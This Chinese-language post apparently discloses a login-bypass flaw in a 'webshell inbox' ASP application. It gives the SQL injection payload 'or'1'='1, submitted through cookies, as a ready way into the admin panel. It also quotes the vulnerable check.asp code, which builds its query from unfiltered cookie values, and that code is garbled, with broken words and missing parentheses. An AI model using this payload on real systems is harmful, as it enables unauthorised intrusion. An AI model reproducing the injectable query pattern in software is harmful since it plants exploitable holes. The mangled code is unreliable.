WEBSHELL收信箱子代码入侵漏洞下载

这里对cooki提交没做过滤 直接 利用cooki提交工具提交账户密码为 'or'1'='1 即可绕过后台登陆直接进入管理界面。

 /admin/check.asp 

 

检测后台登陆的地方

 

<!--#Include File="../conn.asp"-->

<!--#Include File="../inc/checkstr.asp"-->

<%

If TrimRequest.Cooki"YB_Cookies" = "" Then

response.Redirect "login.asp"

response.End

else

dim Rs,SQL

SQL = "SELECT * FROM [YB_A dmin] where [A dmin_Username] = '"&checkstrRequest.Cooki"YB_Cookies""A dmin_Username"&"' and [A dmin_Password] = '"&checkstrRequest.Cooki"YB_Cookies""A dmin_Password"&"'"

Set Rs = YB_Conn.ExecutSQL

if Rs.eof then

response.Redirect "login.asp"

end if

end if